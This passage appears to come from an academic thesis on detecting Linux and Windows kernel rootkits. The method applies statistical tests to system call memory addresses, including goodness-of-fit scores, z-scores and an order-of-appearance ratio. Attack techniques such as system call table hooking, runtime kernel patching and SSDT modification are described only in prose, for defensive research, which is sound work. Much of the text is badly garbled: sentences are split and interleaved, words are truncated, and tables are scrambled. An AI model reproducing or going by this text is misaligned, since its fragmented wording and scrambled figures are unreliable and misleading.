Lognormal    25488.603 




 Observe that in tables 7.3 and 7.4, while the logistic distribution best fits th
disassembled memory addresses from the 2.4.27 kernel, it was not the best fit for the 
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good fit (a close 2nd) for the 2.6.8 kernel.  While many more observations are necessary 
to make claims of goodness-of-fit for the memory addresses for various Linux kernel 
versions, this result suggests that this may be possible.  Note that this result is similar to 
the outcome of the experiments using the general distribution model to detect the system 
call ta
 Earlier it was promis  architecture from this 
analysis would be adequatel tions are 
straightforward.  For examp mp instruction for the Intel 
architecture may look like th
 jmp    0xc0104113 
 On the SPARC archi
Note that rs1 is source regis
constX is a constant that fits imal notation, and labelX is a 
label that the assembler (and linker) evaluates to a constX instruction.   
SPARC jump instructions adhere to the following formats [54]: 
 jmpl rs1,rd 




 jmpl const13,rd 
 
 The values of the source and destina e SPARC jump 
instructions are certainly ma  access via 
disassembly on a running, o ore, using gdb to disassemble 
and collect the operands (me mp instructions is impossible.  
d to be accomplished by way of a special mechanism.  Specifically, it 
ble modification attack employed by Linux kernel rootkits.   
ed that the exclusion of the SPARC
y explained.  In the Intel architecture, jump instruc
le, a typical unconditional ju
is: 
tecture, jump instructions are handled very differently.   
ter 1, rs2 is source register 2, rd is the destination register,  




tion registers used in th
lleable, and do not easily lend themselves to
r even a static kernel.  Theref
mory addresses) of SPARC ju
This would nee
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would be necessary to intercept the system calls employing jump instructions, and co
the runtime values in the registers during execution.  This may be possible, but it wou
also be necessary to execute every system call in the kernel in order to collect these 
addresses.  Clearly, this project is not within the scope of this research, and no functional
rootkits employing the system call target modification attack for the SPARC architecture 
have been found.   
 







from enyelkm v1.1 infected 32-bit Intel kernel 2.6.8  
Logistic   17576.775 
Lognormal    27335.94 




hows that, with enyelkm v1.1 rootkit infection, there 
he best and worst fitting distributions for a given 
kernel version.  Earlier work in this research is based upon this fact, but in the preceding 
work, the differences in the distributions were more pronounced.  In this chapter, 
experiments were conducted to determine whether the ‘known distribution model’ is 
 Tables 7.3 and 7.4 show the goodness of fit scores for 32 bit Intel Architecture 
Kernel versions 2.4.27 and 2.6.8 that are uninfected.  Table 7.5 shows the goodness of fi
scores for the 32 bit Intel Architecture Kernel version 2.6.8 infected with the enyelkm
v1.1 rootkit.   
Table 7.5:  AD-scores 
Distribution               AD-Score  
3-Parameter Loglogistic 18288.079 
Loglogistic   21471.281 
3-Parameter Lognormal 27036.452 
Normal    27043.837 
3-Parameter Weibull  29131.015 
Weibull   29142.046 
2-Parameter Exponential 32830.144
Exponential   32839.034
 An examination of this data s
are measurable but suble changes in t
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sensitive enough detect kernel rootkits that employ the system call target modification 
attack.  
 Just as in previous examples, the normal distribution seems to be ‘in the middle
of the goodness of fit scores in each of these three scenarios.  This suggests that the 
normal distribution may be a suitable basis for a discordancy test, as it appears to be an 
adequate (although not the best) fit for kernels infected or uninfected with kernel roo
employing the system call target modification attack.   
 





Section 5.4 discusses statistical methods used in the general distribution detection 
 will be presented here.  While the data in the system call table 
odific e 
iscordancy tests require at least an estimate of the number of outliers, and 
their lo
priori knowledge.  A general utliers is to identify the 
underlying distribution of the om the 
distribution.  This approach is es not scale well [50].  While 
this approach worked well wh ber of system call addresses – 
a few hundred in the system c well when dealing with 
approximately 72,000 disasse rnel.  This 
misgiving may be further stre nderson-Darling goodness of fit 
 
model, but a brief review
m ation attacks presented in chapters 5 and 6 tended to fit the largest extreme valu
distribution, the data in the system call target modification attack tends to fit the logistic 
distribution best.   
 Most d
cations.  In this case, the purpose is to identify outliers without this kind of a 
and early approach to identifying o
 data and identify individuals that deviate fr
 common in statistics, but do
en working with a finite num
all table – it may not scale 
mbled memory addresses from the 2.6.8 ke
nghened by observing the A
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scores in Tables 7.3, 7.4, and 7.5.  Even after infection with the enyelkm v1.1 kernel 
l 
 
tion attack, the ‘assumption of normality’ model holds more promise for 
 
fit score of the 32-bit Intel 2.4.27 
ernel for the Logistic distribution is 17667.781, within 5% of the goodness of fit score 
nd same architecture for the 2.6.8 kernel with a score of 
 
ntel architecture 2.6.8 uninfected kernel and a 32-bit Intel architecture 
le 
patching rootkit, the best fitting distribution - logistic – suffers only a modest increase 
from 16875.174 to 17576.775.  This is an increase of less than five percent – it is 
quesitonable whether the general distribution model will be able to adequately detect a 
rootkit detection within this narrow margin.  This is eloquent proof that the genera
distribution detection model does not scale well.  Even though the general distribution
detection model may prove to be inadequate for detecting the system call target 
modifica
detecting this kind of attack, and will  prove to be more successful than this approach, 
with the addition of a few modifications. 
 
7.6  Experimental Results 
 Observe that the Anderson-Darling goodness of 
k
for the same distribution a
16875.174.  This is good news, in that different kernel versions within the same 
architecture fit the same distribution very closely, at least as compared to other 
distributions.   
 The bad news is that the difference between the Anderson-Darling goodness of fit
scores for a 32-bit I
2.6.8 kernel infected with the enyelkm v1.1 kernel patching rootkit are also within 4% of 
one another.  The uninfected AD score for the logistic distribution is 16875.174, whi
the AD Score for the logistic distribution of the same system after infected by the 
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Enyelkm v1.1 kernel patching rootkit is 17576.775.  Obviously, the general distri
model does not scale well to take into account the tens of thousands of memory addresses
gleaned from disassembling the kernel, and the very few outliers among these in the 
event of rootkit detection.  Clearly, a more sensitive test is required.  As previous
discussed in Chapter 5, a general and early approach to identifying outliers was to 
identify the closest fitting underlying distribution of the data and identify items that 
deviate from the distribution.  While common, this approach doesn’t scale well [50].  
 
7.7  Conclusions 
 Clearly, in order for the general distribution models to successfully detect the 
system call target modification attack, general a priori knowledge will be required fo
each operating system (including kernel version) and architecture pair.  Optimally, one 
should only need general a priori knowledge about broad categories of operating
and architecture pairs.  A perfect example of this is the finding that at least for the 
call table modification attack, the distributions of system call addresses tend the fit the 








ll, even across kernel versions and 
rchitectures.  There is no doubt that the application of the general distribution model to 




the system call target modifi
 There is no doubt that a more sensitive model is needed in order to detect the 
system call target modification attack.  An improved, normality-based model for this 
specific purpose will be presented in the next chapter, including experimental resul
demonstrate the appropriateness of the model for this approach.   
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CHAPTER VIII  
 








tatistical properties and normality of the data, while section 8.5 presents the detailed 
ts.  Finally, section 8.6 includes relevant conclusions.   
, 
of 
ions.  The 
 DETECTING SYSTEM CALL TARGET MODIFICATION ATTACKS USING 
 
 This chapter will address the use of a modified ‘assumption of normality’ 
technique to detect a Linux kernel rootkit utilizing the system call redirection at
which is a special case of the system call target modification attack.  Sections 8.1 an
present a review of definitions, and a detailed explanation of necessary modificat
the ‘assumption of normality’ formal model.  Section 8.3 presents an unexp




8.1  Definitions 
 Much of the information presented here is similar to the information in Chapter 7
but a brief review will be presented here.  Again in this chapter, the definitions of an 
outlier, discordancy test, kernel rootkit have not changed from the original definitions 
presented in Chapter 5.  Similar to Chapter 7, this chapter focuses on detecting rootkits 
the two latter types – system call redirection, and system call target modificat
 90
system call table redirection is a special case of the system call target modification attack
in that the system call table event handler itself becomes the victim of sy
, 
stem call target 
l in /dev/mem or 
/dev/mem and overwrite the system call code; 
• Specifically, the rootkit over ructions of a given system call 
with a jump instruction to higher in m mory, where a malicious system call exists 
• The operands, th nstructions are of 
particular interest for statistical analy
• 
er of 
ese instructions is important and this 
lso be collected.  These instructions are further analyzed, and their 
operands – memory addresses – are extracted for analysis.  After these memory addresses 
modification, and may be detected by the same methods.  Recall that, in Section 7.1, 
several key concepts relevant to this detection model were presented in detail.  These 
concepts included:  
• Runtime kernel patching rookits modify the running kerne
writes first few inst
e
to replace the original; 
at is, the memory addresses of these jump i
sis; 
 These jump instructions presented in table 7.1; 
• The operands of the jump instructions – memory addresses – are collected by 
disassembling the kernel.   
 
8.2  Formal Model 
 Remember that for this analysis to occur, the running kernel must be 
disassembled, and all conditional and unconditional jump instructions (including push 
instructions) must be collected.  For reasons which will become clear later, the ord
appearance in the disassembled code of th
information will a
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are collected, they are converted from hexadecimal to decimal addresses.  Z-scores are 
then calculated for these addresses, and those with z-scores greather than or equal to three 
are considered outliers and as such are reserved for further analysis.  Unfortunately, even 
an uninfected kernel contains memory addresses of this kind which are natural outliers, 
that is, are outliers but have not been modified by kernel rootkit infection.  Even though 
the dataset contains approximately 70,000 data items, only a few (typically one dozen or 
less) have z-scores greather than or equal to three.   
 This data, the memory addresses, is univariate, and it also contains several natural 
outliers making a conventional, normality based approach for outliers analysis 
impractical.  For complex reasons which will be explained later, the order of appearance 
of these memory addresses appears to be a factor.  It will prove helpful to add a second 
dimension to the data, a dimension that takes into account the order of appearance of each 
individual as well as the indivual’s Z-Score.  A second dimension will be added, a 
composite value cons e 
individual’s Z-Score.  This  or the ‘LZ’ value.   
 
system, the r
‘LZ’ score of the individual  less than ten.  The ratio 
betw e g 
individu .   
 g kernel rootkit, the ratio 
betw e e 
‘LZ’ score of the uninfected individual with the lowest ‘LZ’ score should again be less 
tituted by the line number (order of appearance) multiplied by th
 value will be called ‘L*Z’,
This data will then be sorted by the ‘LZ’ score descending.  In an uninfected 
atio between ‘LZ’ score of the individual with the highest ‘LZ’ score and the 
with the lowest ‘LZ’ score is
e n the ‘LZ’ score of the individual with the highest ‘LZ’ score and the remainin
als will, of course, be much less than ten
 In a system infected by a runtime kernel patchin
e n the ‘LZ’ score of the uninfected individual with the highest ‘LZ’ score and th
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than 10.  However, the ratios between the ‘LZ’ score of the uninfected individual with the 
d to be 
e 
 





leaving the low level calls untouched.  Relying on this assumption, it can be shown 
highest ‘LZ’ score and the ‘LZ’ scores of the infected individuals are expecte
much greater than 10, and probably greater than 100.   
 
8.3  Order of Appearance 
 The fundamental purpose of this model is to identify those individuals that hav
(a) Z-Scores in excess of 3, and (b) also have an early order of appearance in the code of 
the disassembled kernel instructions.  Recall that the order of appearance of the 
disassembled instructions appear to be a factor in determining the likelihood that any 
given individual will have been infected by a kernel rootkit.  System calls can be thought 
of as either higher-level function calls (such as sys_read or sys_write) and lower level 
functions (such as the system calls constituting VFS, the virtual file system).  Clearly, an
attacker would prefer to only rewrite sys_read instead of an entire library of lower level 
system calls such as those comprising VFS.  Concep
the Linux kernel may be imagined as a pyramid, with sys_read, sys_write, and the other 
high level functions at the apex of the pyramid, and the lower level kernel funct
as VFS system calls, near the bottom of the pyramid.  Interestingly, at boot time this 
‘pyramid’ of system calls appears to be loaded into memory in an inverted manner.  Tha
is, the higher level functions such as sys_read and sys_write appear to be loaded into 
memory first, at the lower memory addresses.  The lower level system calls tend to 
loaded later, much higher in memory.  Attackers wish to gain the upper hand with the 
minimum effort necessary, and all known rootkits attack only high level sy
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s  call memory addresses with Z-Scores greater than or equal to three and very l
orders of appearance are highly suspect.  
 Having shown which system call memory addresses are more likely to be 
infected, it should be noted that this data contains natural outliers with z-scores greater 
than or equal to three, even in an uninfected system.  However, the system calls having 
ystem ow 
 an 
 files for execution into memory, 
sharing memory between processes.   
e (Swap cache) – Page Frame Reclaimation Algorithm.  
s 
these outliers can be shown to be low level system calls, unlikely to be modified by
attacker.  Specifically, these system calls containing natural outliers are :  
• aio_put_req (Asynchronous I/O) – AIO Ring is a memory buffer in the address 
space of the user mode process that is also accessible by all processes in kernel 
mode. 
• mpage_writepage (Memory mapping) – Loading
• move_to_swap_cach
Calls add_to_swap_cache. 
• page_put_link (Ext2 filesystem) 
 These functions provide functionality for asynchronous I/O, memory mapping, 
and memory management.  These low level functions have historically been of little 
interest to attackers.  Having established this, it can now be shown that individuals with 
high standard deviation and high order of appearance are actually low level system call
containing natural outliers, and are unlikely to be selected as targets by an attacker.   
 Amongst the individuals just described, what would identify other individuals as 
rootkit infected outliers?  First, these individuals would have a high z-score.  Second, 
suspect individuals would be high level system calls – that is, system calls with a very 
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low order of appearance.  In an uninfected system the ratio between ‘LZ’ scores of the 
two individuals with the largest and smallest ‘LZ’ scores, and having  z-scores greate
than or equal to three, is typically less than 10.   
 In an infected system, those individuals having a ‘LZ’ score ratio of one hundr
or more (as compared to the individual with the largest ‘LZ’ score and having a z-score 
less than three) have been infected by a kernel rootkit.  Why?  Because they have (a) b
identified as outliers having z-scores greater than or equal to three, and (b) they have 
been identified as high level system calls having a very early order of appearance.   
 Using the ‘assumption of normality’ model, it is assumed that the system call 












imitates a subset of operating system functionality p1.  Therefore, p1 is a subset of p2.  
The n
the ker of compromised systems, attack other 
system he 
authori nel rootkit functionality can be expressed as p2 – p1 = 
p’ [ ]
th y be assumed, this simplifies the task of rootkit detection.   
 The definitions mentioned in this section have been previously defined in section
5.1.  The definitions of an outlier and discordancy test have not changed.  The definition
of a kernel rootkit also remains unchanged, and the formal model presented in Section 5
still holds with further modifications.  Since the model has changed, some 
ation presented in Section 5.1 will be reviewed again here.    
As discussed previously, a kernel rootkit is defined as some program p2, which 
 fu ctionality that exists in p2, but not p1, is the additional functionality provided by 
nel rootkit in order to maintain control 
s, destroy evidence, and decrease the chance of the attacker being detected by t
ties.  More formally, the ker
14 . 
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 The fundamental differences in this approach is the absence of the necessity to 
have statistical information about the properties of an uninfected system, and the need
analyze memory addresses in the entire kernel instead of only in the system call table.  
Therefore, the elements of the formal model that define the properties of an uninfected 












Z = O ) 
resents the number of 
s1 (p1) – system call addresses in clean kernel      (8.1) 
s2 = M2(p1) – system call addresses in clean system call table   (8.2
s2’ = M2(p2) – system call addresses in infected system call table   (8.3)
D1 = t(s1) – Discordancy score of system call addresses in clean kernel  (8.4)
D2 = t(s2) – Discordancy score of addresses in clean system call table  (8.5)
D2’ = t(s2’) – Discordancy score of addresses in i
 Having discarded half the elements from the original model, the new  model is 
smaller, more elegant, and requires significantly less a priori knowledge about the system
under observation.  The only elements remaining in the new formal model are: 
s1’ = M1(p2) – system call addresses in infected kernel    (8.7
D1’ = t(s1’) – Discordancy score of system calls in infected kernel   (8
L rder of appearance * Z-Score       (8.9
D2’ = r(s1’) – Second discordancy score of addresses in infected kernel  (8.10) 
 The discordancy test t is simply the z-score.  The z-score rep
standard deviations away from the mean for a particular individual x, and is represented 
by z = (x – X )/σ.  The ‘LZ’ score is represented by the line number in the disassembled 
code in which the value occurs multiplied by the individual’s Z-Score.  The second 
discordancy test r is represented by the ratio between the ‘LZ’ score of the individual 
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with Z-Score >=3 and the largest ‘LZ’ score and the ‘LZ’ score of any given indiv
For an individual to be considered an outlier and infected by a kerne
idual.  
l rootkit, it must 
tisfy 
ness of fit scores for the 32 bit Intel architecture kernel version 2.6.8 infected 
 
h 
h to a w ap icatio of the
will b show
ot
sa   
D1’ >= 3 and   D2’ > 100       (8.11) 
 
8.4  Normality of Data 
 Tables 8.1 shows the goodness of fit scores for the 32 bit Intel architecture kernel 
2.6.8 disassembled system call memory addresses that are uninfected.  Table 8.2 shows 
the good
with the enyelkm v1.1 rootkit.   
 These tables shows that, with enyelkm v1.1 rootkit infection, there are measurable
but suble changes in the best and worst fitting distributions.  Earlier work in this researc
is based upon changes in the fits of distributions, but in the preceding examples, the 
differences in the distributions were much more pronounced.  However, all that is 
necessary in this case is that the data be normal enoug llo pl n  
normality based tests in the formal model.  Clearly, the normal distribition is one of the 
better fitting distributions in both uninfected and infected kernels.  It e n that 
this approach does not produce false positives on a uninfected kernel and does n  






Table 8.1 - Anderson-Darling scores for uninfecte 6 s ed el d 2. .8 disa sembl  kern
 
Normal          25497.186 
Weibull   28804.239 
 
3-Parameter Loglogistic 18288.079 
3-Parameter Weibull  29131.015 
2-Parameter Exponential 32830.144 
Exponential   32839.034 
Having established that the the dataset is normal enough to facilitate the use of 
e may proceed by applying the model as set forth in Section 5.1 
ven of these individuals pass the first discordancy test, 
Distribution                AD-Score 
Loglogistic   15883.557 
Logistic   16875.174 
3-Parameter Loglogistic 17575.839 
3-Parameter Lognormal 25554.644 
Lognormal    26270.259 
Smallest Extreme Value 28845.74 
2-Parameter Exponential 32412.629 
Exponential   32419.241 
3-Parameter Weibull  3492063.179 
Table 8.2 – AD-scores for disassembled 2.6.8 kernel infected with enyelkm v1.1 
 
Distribution               AD-Score 
Logistic   17576.775 
Loglogistic   21471.281 
3-Parameter Lognormal 27036.452 
Normal          27043.837 
Lognormal    27335.94 
Weibull   29142.046 
Smallest Extreme Value 29142.187 
 
8.5  Experimental Results 
 
normality based tests, on
to a 32-bit Intel architecture 2.6.8 kernel by disassembling the kernel and collecting the 
memory addresses of the conditional and unconditional jump instructions from the 
disassembled code yields approximately 71,000 data items.   
 In the dataset, exactly ele
having z-scores greater than or equal to three.  These individuals are presented in table 




Table 8.3:  individuals passing first discordancy test 
Dec  Line  Z-Score L*Z  Trojaned 
3989496426 133690        11.0229 1473655 0 
3989472440 130696        11.0226 1440607 0 
3988138649 83819  11.0034 922298        0 
3837803050 600477        8.8466  5312183 0 
3571333718 627488        5.0236  3152254 0 
3571333718 627276        5.0236  3151189 
3498557285 5232  3.9795  20821 
 
3955240370 110418        10.5315 1162863 0 
3571333718 627382        5.0236  3151722 0 
0 
 1 
3498557285 5164  3.9795  20550  1 
3498557285 5129  3.9795  20411  1 
 
 Note that individual #5, having ‘LZ Score’  value 5312183, is of particular 
interest because it enjoys the largest ‘LZ Score’ of all the individuals and will be used in 
the computation of the second discordancy test for all the individuals.  Individual #5 is 
portant because (a) is has a z-score greater than or equal to three, and (b) it has a very 
high ‘LZ Score’, identifying  call unlikely to be modified by an 
attacker.  The second discor 2183) divided by 
the ‘LZ Score’ of each of th ts of the second discordancy 
test are presented in Table 8
Table
Dec  Line  Trojaned Ratio 
3989496426 133690  0  3.604767059 
3989472440 130696  0  3.687461605 
3988138649 83819  0  5.759725165 
3955240370 110418  0  4.56819333 
600477  0  1 
571 6 
3571 3 
627276  5.0236  3151189 0  1.68577099 
5232   255.1358244 
3498557285 5164   258.5003893 
3498557285 5129  260.2607908 
 
 Note that those indiv t still have z-scores greater than 
or equal to three receive very low second discordancy test (ratio), typically less than five.  
However, the three infected reater than or equal to three, and 
im
 it as a low-level system
dancy test is the ratio of Individual #5 (531
e other t  he resulen individuals.  T
.4, below.   
 8.4:  results of second discordancy test 
 
Z-Score L*Z  
55 11.0229 14736
11.0226 1440607 
8  11.0034 92229
10.5315 1162863 
8.8466  5312183 3837803050 
3 333718 627488  5.0236  3152254 0  1.68520144
333718 627382  5.0236  3151722 0  1.68548590
3571333718 
3498557285 3.9795  20821  1 
3.9795  20550  1 
3.9795  20411  1  
iduals that are uninfected bu
 individuals have z-scores g
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very high ration scores – typ red fifty.  Clearly, these 
individuals have been modi second 
discordancy test is a measur ater than or equal to three, and 
) an individual’s status as a high level, rather than a low level, system call.   
are most prevalent in the 
 attack is complicated by the discovery of natural outliers, or outliers that 
ccur even in an uninfected system of this kind, within the data.  These outliers occur in 
e disassembled jump instructions of specific low level system calls, specifically the 
following:   
• aio_put fer in the 
address  acce all pr sses in 
kernel m
• mpage_writepage (Memo o 
memory
• move_to_swap_cache (Swap cache) – This is part of the page frame reclaimation 
ically greater than two hund
fied by kernel rootkit infection.  Again, the 
e of (a) having a z-score gre
(b
 
8.6  Conclusions 
 Linux kernel rootkits are closely tied to specific major kernel versions of Linux.  
Rootkits that employ the system call table modification attack are most prevalent in the 
Linux 2.4 kernel, while kernel patching rootkits that employ the system call target 
modification attack or the system call table redirection attack 
Linux 2.6 kernel.   




_req (Asynchronous I/O) – The AIO Ring is a memory buf
 space of the user mode process that is also ssible by oce
ode. 
ry mapping) – Used for loading files for execution int
, and sharing memory between processes.   
functionality.  Calls add_to_swap_cache. 
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• page_put_link – This is part of the API for the ext2 filesystem. 
 These system calls typically concern sharing information between processes 
running in user space and processes running in kernel space.  For this reason, outliers ar
generated – these system calls must move between kernel space (typically lower in 
memory), and user space (typically higher in memory).  The formal model presented in 
Section 8.1 takes into account the follow
e 
ing facts: 





•  h peari lower in memory 
 e of natural 
utliers to illuminate the presence of those outliers that stem from the activities of a 
ven in an uninfected system; 
 Higher level system calls tend to be loaded into memory first (receiving lower 
memory addresses), and lower level system calls tend to be loaded in
later (receiving higher memory addresses); 
 Outliers that are a product of low level system calls appearing higher in memory 
are unlikely to be selected fo odification by an attacker; 
 Outliers that are a product of igh level system calls ap ng 
are likely candiates for modification by an attacker. 
The detection method presented in this chapter depends on the presenc
o
rootkit.  What happens in the scenario where the Linux kernel under analysis contains no 
natural outliers?  Assuming the statistical properties of the kernel presented in this 
chapter do not change, absence the presence of natural outliers, all memory addresses 









 While this research focuses on detecting Linux kernel rootkits, it may also prove 
useful for detecting rootkit infections in other operating systems as well.  Microsoft 
Windows has a structure known as the system service descriptor table, or SSDT, and is in 
and the normal distribution model will be employed in detection attempts against a 
Windows-based kernel rootkit.  Section 9.1 of this chapter presents an overview of the 
Windows architecture and Windows-based rootkits, while the usual definitions and 
formal model constitute sections 9.2 and 9.3.  In section 9.4, the normality and statistical 
properties of the memory addresses constituting the system service descriptor table are 
examined.  Section 9.5 covers the experimental results, with section 9.6 presenting 
further unexpected experimental results.  Finally, section 9.7 includes conclusions and a 
summary.   
 
9.1  An Overview of the Windows Architecture and Windows Rootkits 
 Symantec corporation defines Windows rootkits as “programs that use system 
hooking or modification to hide files, processes, registry keys, and other objects in order 
to hide programs and behaviors”.  However, Windows rootkits do not necessarily include 
DETECTING WINDOWS ROOTKITS  
 
many ways similar to the Linux system call table.  Both the general distribution model 
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functionality to gain administrative access.  In fact, they typically require administrative 
access in order to function [55].   
 otkits – user mode and kernel mode 
roo ts  of 
Micros c 








.  The 
ernel is an ideal place to perform this kind of attack because it is as the lowest level and 
erefore ideal for reliable, robust system call hooking [55].   
The system call’s path through the kernel passes through a variety of locations 
perfectly suited for modification of a eral of these will be discussed 
below [55].   
• As a system call s kernel space, it 
must pass through a kind of “gate”.  The purpose of this gate is to insure that user 
There are two primary classes of Windows ro
tki .  User mode rootkits function by modifying operating system calls.  In the case
oft Windows, this involves modifying the common code found in DLL’s (dynami
raries).  Typically, the rootkit will modify a D
 th  rootkit will call the API itself and modify the results before returning the now 
d results to the calling application [55].   
Since user mode applications do run in their own memory space, a user mode 
needs to perform these activities in the memory space
application.  Additionally, the rootkit needs to monitor memory for any new applications 
that execute and modify those memory spaces before the new application can execute
[55].   
 A more effective method method of system hooking would be to hook the s
call further down the path where all paths converge in the kernel.  This is the method th




 system call.  Sev
’s execution path leaves user space and enter
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mode code does not have general access to the kernel space.  The gate is 
effectively a proxy between user mode and kernel mode.  In previous versions of 
windows, this gate was implemented via interrupts, and in more modern versions 
of windows, by model specific registers (MSRs).  Both of these mechanisms may 
be modified to cause the gate to redirect to rootkit code instead of kernel code 
[55].   
• Another method for redirection a system call is to modify the system service 
descriptor table (SSDT).  The SSDT is a function pointer table in memory that 
holds the addresses of system calls in kernel memory.  By modifying the SSDT, a 
rootkit can redirect execution to rootkit code instead of legitimate system call 
code [55].  Note that this method is very similar to the system call table 
modification attack in Linux, presented earlier in this work.   
• Finally, another method employed by kernel mode Windows rootkits is to directly 
modify the data structures in kernel memory.  This attack is known as direct 
kernel object modification (DKOM) [55].  This method is also very similar to the 
methods employed by Linux runtime kernel patching rootkits.   
 
 Microsoft Windows and Linux both have similar mechanisms by way of which 
they may be attacked by rootkits.  While Windows has a system service descriptor table 
(SSDT), Linux has a system call table.  Windows may be subverted using direct kernel 
object modification (DKOM), while Linux may be subverted by runtime kernel patching 
rootkits.  Because of these similarities, it will be shown in the following sections that 
those methods useful in detecting Linux kernel rootkits are also useful and effective in 
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detecting Windows rootkits that use subversion methods similar to those used against 
Linux kernels.   
 
9.2 Definitions 
 The definitions used in the formal model were formally defined in Section 5.1,




ould be discussed before presenting the experimental results.   
test, and kernel rootkit have not changed.  However, the methods by which Windows 
kernel rootkits and Linux kernel rootkits attack the kernel share several similarities, and
these sh
 Recall that both Windows and Linux Kernel rootkits attack the operating system 
by way of modifying system call memory addresses, and this is accomplished through the 
following mechanisms [14;55]: 
 
System call table modification – This attack changes the addresses of the system calls in 
r 
ifies 
 table, the Windows equivalent of the Linux system call 
table.   
 
System
the system call table to point to similar, but malicious, system calls located much highe
in memory.  Windows kernel rootkits sometimes employ a similar attack, which mod
the system service descriptor
 call table redirection – Modifies the system call handler, changing the add
tem call table to a similar, but malicious system call table much higher in memory.
ppears to be no corresponding attack method employed by Windows kernel 
.   
ress of 




System call target modification – Directly modifies the system call instructions (via 
runtime kernel patching), inserting a jump instruction to a location much higher in 















Recall that both s1 and s2 are derived from general knowledge in that they are 
perimentation across mutliple operating system and architecture pairs, 
o y which contains a similar, but malicious, system call.  Windows kernel rootki
metimes employ a similar attack known as direct kernel object modification, or 
.   
The formal model for this approach is the same as the one described in section
erefore, it will not be discussed in detail again here, but the fundamentals
will be briefly revisited.   
rmal Model 
 The fundamentals of the model and approach described it Section 5.1 can now be 
rized as follows: 
s 2(p1) – System call addresses in uninfected kernel’s system call table (9.2) 
s1’ = M1(p2) – System call addresses in infected kernel    (9.3) 
s2’ = M2(p2) – System call addresses in infected kernel’s system call table  (9.4) 
D1 = t(s1) – AD score for system call addresses in uninfected kernel  (9.5) 
D2 = t(s2) – AD score for uninfected kernel’s system call table.   (9.6
D1’ = t(s1’) – AD score for system call addresses in infected kernel.  (9.7)







n.   
      (9.9) 
’ = s2’ – s2j’          (9.10) 
e kernel rootkit is fully detected – that is, until D1’ <= D1 and D2’ <= D2. (9.13) 




1’ and s2’ are obtained from the specific system being investigated.  Also recall 
that if D1’ > D1 or D2’ > D2 then a rootkit has been detected.  Once a rootkit has been 
detected, outliers are removed, one at a time, until the discordancy test returns to close
the uninfected score.  The location of the outliers is constrained by operating system 
mechanics, so that outliers are always on the right side of the distributio
 If s1j is the largest (right most) system call address in the kernel, and s2j is the 
largest (right most) system call address in the system call table,   
s1’ = s1’ – s1j’    
s2
D1’ = t(s1’)          (9.11) 
D2’ = t(s2’)          (9.12) 
And again  
If D1’ > D1 or D2’ > D2 then a rootkit has been detected. 
Until th
 
9.4 Normality of Data 
 Before additional progress may be made with this approach, some observations 
must be made about the distribution of system call addresses within the Windows 
operating s
the Windows operating system known as the system service descriptor table (SSDT),
which corresponds to the Linux system call table.  These observations were made o
test system using the Microsoft Windows 2000 operating system. 
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Table 9.1:  AD-scores for uninfected Windows 2000 SSDT 
3-Parameter Loglogistic 3.120 
   3.120 
tic   3.121 
Normal          3.139 
Lognormal   3.140 
3-Parameter Lognormal 3.147 
Gamma          3.147 
3-Parameter Gamma  3.566 
Largest Extreme Value 8.446 
 
  contains the Anderson-Darling goodness of fit scores for the 
ip r tabl of the indo
bull istributions, consecutively.  
ralize r 
on.  H wever
e other  rega
it the W
rchitecture.   
Distribution   AD-Score 
3-Parameter Weibull  3.029 
Weibull   3.040 
Smallest Extreme Value 3.041 
Logistic
Loglogis
2-Parameter Exponential 61.909 
Exponential   113.727 
 Table 9.1, above,
248 memory addresses located in the system service descr to e  W ws 
2000 test machine.  Note that, unlike those scores observed in Linux kernels, the best 
fitting distributions are the 3-parameter weibull and wei  d
This finding further strenghens the suspicion that it will be necessary to gene , rathe
than eliminate, the necessity for a priori knowledge in rootkit detecti o , note 
that eleven of the fourteen distributions test are within 16% of on an  in rd to 
score.  The normal distribution also receives a very favorable score, indicating the the 
‘assumption of normality’ model may be an effective approach w h indows 
a
 
9.5 Experimental Results. 
 Symantec [55] suggests that the definition of rootkits, at least in a Windows 
environment, has changed and now refers to programs that “use system hooking or 
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modification to hide files, processes, registry keys, and other objects in order to hide 
programs and behaviors.”   
 Under this definition, spy software programs such as Webwatcher [56], which
designed to be used by legitimate authorities interested in monitor
 are 
ing the activities of 
rs.
ilar to the system call table modification attack seen in Linux, to accomplish 
Distribution   AD-Score 
3-Parameter Loglogistic    13.841 
39.308 
Logistic                   90.143 
Gamma                      92.743 
Exponential                111.017 
 
 Recall that the best fitting distribution for the SSDT of an uninfected Windows 
2000 system was the 3-parameter weibull, with an Anderson-Darling goodness of fit 
score of 3.029.   After infection with the WebWatcher monitoring software (essentially a 
Windows rootkit), the goodness of fit score for the 3-parameter weibull distribution 
changes to a remarkable 8454.206, illustrated ebWatcher 
software modifies only three his is a change of 2791.00%, an 
legimate users, qualify as a kind of rootkit.  In fact, WebWatcher uses system hooking to 
hide files, processes, registry keys, and other objects in order to hide programs and 
behaviours (that is, the monitoring of email, online chats, and internet surfing behaviours) 
from legitimate use   WebWatcher uses the system service descriptor table attack, 
which is sim
these tasks.   
Table 9.2:  AD-scores for Windows 2000 SSDT infected with WebWatcher 
3-Parameter Lognormal 
Loglogistic                89.597 
Weibull                    92.625 
Smallest Extreme Value     92.658 
Normal                     92.762 
Lognormal                  92.665 
3-Parameter Gamma          93.765 
Largest Extreme Value      106.659 
2-Parameter Exponential    776.980 
3-Parameter Weibull       8454.206 
above in table 9.2.  The W
 entries in the SSDT.  T
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exceedingly large and unexp e would be trivial to 
observe, for human and comp






3-Parameter Loglogistic 3.079 




Gamm 3.121  
3-Pa 3.512 
Larges
2-Parameter Exponential 61.331 
 
on-
xperimental Results  
Observe that, in Table 9.1, the Anderson-Darling goodness of fit score for the 
This is a very favorable score, even when compared to the 
29.   
fit for 
rootkit detection in this circumstance.  
ected change.  Obviously, such a chang
uter alike.  
res for Windows 2000 S
  AD-Score 
rameter Weibull  
l   ul 2.931 
lest Extreme Value 2.932 
  3.079 
ogistic   
    al 3.114 
ormal   3.115 
rameter Lognormal 3.121  
   a 
rameter Gamma  
t Extreme Value 8.492 
Exponential   112.352 
 
 Table 9.3 shows the Anderson-Darling goodness of fit scores for the Windows
2000 SSDT, after the three outliers have been removed.  Most importantly, the Anders
Darling goodness of fit score for the 3-parameter weibull distribution has returned to 
2.920, within 3.6% of it’s original, uninfected value.  This is eloquent proof of the 
effectiveness of this model, provided that general a priori knowledge is available 
regarding the general statistical properties of wide categories of operating 
system/architecture pairs.   
 
9.6  Further E
 
normal distribution is 3.139.  
best fitting distribution, the 3-parameter weibull distribution, which has a score of 3.0
It is possible, even likely, that the ‘assumption of normality’ model may be a better 
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 Remarkably, the uninfected SSDT in the Windows 2000 test system is distribu
normally enough that the z-s
ted 
cores for the uninfected memory addresses in the SSDT 
   
x 
